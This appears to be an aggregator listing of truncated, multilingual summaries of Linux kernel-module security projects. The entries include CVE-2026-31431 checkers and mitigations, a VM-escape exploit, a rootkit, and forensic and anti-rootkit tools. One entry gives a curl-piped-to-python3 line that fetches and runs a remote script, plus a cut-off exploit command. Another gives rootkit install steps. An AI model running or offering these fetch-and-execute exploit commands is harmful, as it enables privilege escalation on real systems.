Copy_Fail_CVE-2026-31431_test_and_fix

使用方法 root@kitploit: python3 testCVE-2026-31431.py Almalinux 9 / 10 的修复方法（内核更新发布前） root@kitploit: sudo grubby --update-kernel ALL --args="initcallblacklist=algifaeadinit" sudo reboot Debian / Ubuntu 的修复方法（内核更新发布前） root@kitploit: 以 root 身份执行 echo "install algifaead /bin/false"...

OverlayFS-CVE-2021-3493

OverlayFS — CVE-2021–3493 || Writeup || Tryhackme 📖 はじめに OverlayFSとは？ OverlayFS は Linux カーネルモジュールであり、システムが複数のマウントポイントを1つに結合し、それぞれのファイルを1つのディレクトリ構造内でアクセスできるようにします。 これはライブ USB やその他の特殊なアプリケーションでよく使われます。一つの用途は、読み取り専用のルートファイルシステムを持ち、別のパーティションを「オーバーレイ」して、アプリケーションが一時ファイルシステムに書き込めるようにすることです。 OverlayFS...

parallels-plist-escape

parallels-plist-escape 本仓库包含针对 CVE-2023-27327 和 CVE-2023-27328 的漏洞利用代码，它们可以组合使用，在 Parallels Desktop 18.1.1 之前版本中逃逸 Parallels Desktop 虚拟机。 它还包含一个所需内核模块的代码，位于 prlmod 中，该模块可利用在 /proc/driver/prltgpwn 创建的 proc 条目，从用户态发送任意 Toolgate 请求（ opcode 0x8000）。 要求 来宾系统（guest）中拥有 root 权限，以便加载内核模块 已安装 Parallels...

ksentinel

ksentinel - カーネルシステムコール整合性モニター 概要 ksentinel は、重要なカーネル関数とシステムコールテーブルを監視し、不正な改ざんを検出します。ftrace フック、kprobes、システムコールテーブルのハイジャックなど、ほとんどのルートキットが標的とする一般的なシステムコールを検出します。 機能 関数プロローグ整合性チェック（FNV-1a ハッシュベース） システムコールテーブル監視（512 エントリ） LSTAR MSR 検証（x8664 システムコールエントリポイント） アンロード防止機構（アンロックキー方式） 設定可能な間隔での継続監視 注:...

SYNwall

SYNwall 제로 구성 IoT 방화벽. SYNwall은 현재로서는 리눅스 커널 모듈로 구축된 프로젝트로, 투명하고 설정/유지보수가 필요 없는 방화벽을 구현합니다. 사용 예시를 보려면 를 참조하세요. 기본 일반적으로 IoT 기기는 중앙 통제를 벗어나 있으며, 저사양 하드웨어, 열악한 환경 조건...그리고 보안 유지에 시간을 할애할 여유가 없습니다. 따라서 IoT 인프라에 패치를 적용하지 못할 수도 있으며, '방화벽 같은' 접근 제어를 유지하는 것이 매우 어려울 것입니다. 아이디어는 분산형 단방향 일회용 비밀번호OTP 코드를...

CVE-2021-28476-tools-env

pack test and exploitdev for POC CVE-2021-28476 from bluefrostsecurity researcher インストールガイド: root@kitploit: cd tools/ ./addtopathtools.sh addition tools for /usr/bin/ remove tools from /usr/bin: cd tools/ ./deltopathtools.sh tools: pocinit: 説明: POCコンパイルのためのゲストホスト環境の事前初期化（poccompile参照） コマンド引数: arg...

CVE-2026-31431

CVE-2026-31431 「Copy Faill」CVE-2026-31431 アーカイブと分析。 攻撃用ソースコード（テスト用） 潜在的な脆弱性に対するスニッフィングツール 解決策 root@kitploit: 禁用内核模块 echo "install algifaead /bin/false" /etc/modprobe.d/disable-algif-aead.conf 卸载已加载模块 rmmod algifaead 2/dev/null 注：针对静态编译进内核的系统（例如：RHEL/CentOS/Rocky Linux/AlmaLinux 8, 9, 10...

LiME

LiME Linux 内存提取器 一个用于从 Linux 及基于 Linux 的设备（如 Android）获取易失性内存的可加载内核模块 LKM。LiME 在获取过程中会尽量减少与用户空间及内核空间进程之间的交互，从而生成比其他专为 Linux 内存获取而设计的工具更具取证可靠性的内存镜像。 目录 功能特性 使用方法 示例 可用摘要算法 压缩 演讲介绍 功能特性 从 Linux（及 Android）系统进行完整内存获取 通过网络接口或本地磁盘进行获取 多种输出格式（raw、lime、padded） 可选的哈希计算，并生成辅助摘要文件 可选的 zlib 压缩 极小的进程占用 使用方法 有关...

Detection-and-Mitigation-for-CVE-2022-2639

Detection-and-Mitigation-for-CVE-2022-2639 説明 Open vSwitch カーネルモジュールは、選択したネットワークデバイス上のフローレベルのパケット処理を、ユーザースペースから柔軟に制御できます。プレーンなイーサネットスイッチ、ネットワークデバイスのボンディング、VLAN 処理、ネットワークアクセス制御、フローベースのネットワーク制御などの実装に使用できます。攻撃を防ぐため、使用しない場合はこのカーネルモジュールを無効にすることをお勧めします。 インストール root@kitploit: wget...

wolfGuard

WolfGuard VPNとFIPS 140-3暗号化 WolfGuardは、wolfSSLのFIPS準拠のリファクタリングであり、Linuxカーネルベースの WireGuardを元に、Jason Donenfeldによって設計および作成されました。 使用方法は基本的に同一です。WolfGuardには2つの主要コンポーネントがあります：wolfguard.koカーネルモジュールとwg-fips設定ツールです。 wolfguard.koはlibwolfssl.koカーネルモジュールに依存し、wg-fipsはlibwolfssl.soライブラリに依存します —...

CVE-2026-31431

CVE-2026-31431（コピー失敗）チェッカー LinuxホストがCVE-2026-31431に対して脆弱かどうかを検証し、緩和策を適用します。 ファイル checkcve202631431.yml - 検証およびパッチ適用用のAnsibleプレイブック revertcve202631431.yml - 緩和策を元に戻すためのAnsibleプレイブック runcheck.sh - ローカルまたはリモートで検証を実行するスクリプト runrevert.sh - ローカルまたはリモートで変更を元に戻すスクリプト 実行例 1. 脆弱性の確認（runcheck.sh）...

cve-2017-2636-el

cve-2017-2636-el 此角色安装了 https://access.redhat.com/security/cve/CVE-2017-2636 上记录的工作区，以将 nhdlc 模块列入黑名单，防止其被加载。 要求 此角色仅适用于 Red Hat Enterprise Linux 6 和 7 版本及其衍生版本（CentOS、CloudLinux 等）。 许可证 MIT 作者信息 Alex Zorin @ Serversaurus...

Copy-Fail

CVE-2026-31431「Copy Fail」- ローカル権限昇格 Python 3.7+ 互換バージョン（Astra Linux を含む） 悪用を伴わない安全な確認: root@kitploit: curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/detect.py | python3 悪用（ユーザーパスワードの入力を求められた場合） root@kitploit: python3 -c "$curl -s...

nmap-CVE-2022-21907

nmap-CVE-2022-21907 脆弱性CVE-2022-21907用のnseスクリプトを含むリポジトリ。これはWindows上のコンポーネント（IIS）の脆弱性で、リモートコード実行を可能にします。この脆弱性は、IISのほとんどの基本操作を処理するカーネルモジュールhttp.sysに影響を与えます。ペイロードをアップロードすると、サーバーは動作を停止します（DoS）。 使い方 root@kitploit: ┌──kali㉿kali-/nmap-CVE-2022-21907 └─$ nmap --script=./nmap-CVE-2022-21907.nse ... PORT...

CVE-2025-47827

CVE-2025-47827 针对 CVE-2025-47827 的概念验证与漏洞报告。 目录 描述 披露 影响 检测 缓解措施 二进制文件 概念验证 资源 描述 在 v11 之前的 IGEL OS 中，Secure Boot 可被绕过，原因是 igel-flash-driver 模块未正确验证密码学签名。最终，一个精心构造的根文件系统可以从未经验证的 SquashFS 镜像中挂载。 IGEL OS 10 中 Linux 内核模块 igel-flash-driver 对密码学签名验证不当，允许恶意行为者通过启动由 Microsoft 第三方 UEFI CA 签名的 shim 来绕过...

CVE-2026-31431-check

CVE-2026-31431 チェック algifaead のローカルルート脆弱性 CVE-2026-31431 の読み取り専用チェッカー。 カーネル設定、モジュール状態、AFALG ソケットの到達可能性、および適用されている軽減策を確認し、判定を出力します。エクスプロイトコードは実行しません。 dirty-frag-check CVE-2026-43284 / CVE-2026-43500 のコンパニオンツール。 注意: これはヒューリスティックです。緑色の判定は保証ではありません。ホストを安全と判断する前に、ディストリビューションのセキュリティ情報と照合してください。MIT...

PF_RING

PFRING™ はじめに PFRING™ は、パケットを高速で処理できるLinuxカーネルモジュールおよびユーザースペースフレームワークであり、パケット処理アプリケーションに一貫したAPIを提供します。 PFRING™ が必要なのは誰ですか？ 基本的には、1秒あたり多くのパケットを処理しなければならないすべてのユーザーです。「多くの」という用語は、トラフィック分析に使用するハードウェアによって異なります。1.2GHz ARMでは80k pkt/秒から、ローエンドの2.5GHz Xeonではコアあたり20M pkt/秒以上にまで及びます。PFRING™...

RootKit

これは、ubuntu-16.04.6-desktop-amd64 Linux 4.4 でテストされたルートキットです。ただし、異なるカーネルバージョンへの移植は容易なはずです。 ビデオへのリンク -- https://drive.google.com/file/d/1yDktAg9vIPBH3OPEBYset9OdQb0LMevA/view?usp=sharing インストール リポジトリをクローンする root@kitploit: git clone https://github.com/Asekon/RootKit フォルダに入る root@kitploit: cd RootKit...

ModTracer

ModTracer v1.0 ModTracerは隠されたLinuxカーネルルートキットを発見し、再び可視化します。 LKMを可視化する別の方法は、imperiusトリックを使用することです: https://github.com/MatheuZSecurity/Imperius ルートキット研究者グループに参加する https://discord.gg/66N5ZQppU7...

antispy

AntiSpy English | 简体中文 A powerful anti rootkit toolkit AntiSpy is a free but powerful anti virus and rootkits toolkit. It offers you the ability with the highest privileges that can detect,analyze and restore various kernel modifications and hooks. With its assistance,you can easily spot and...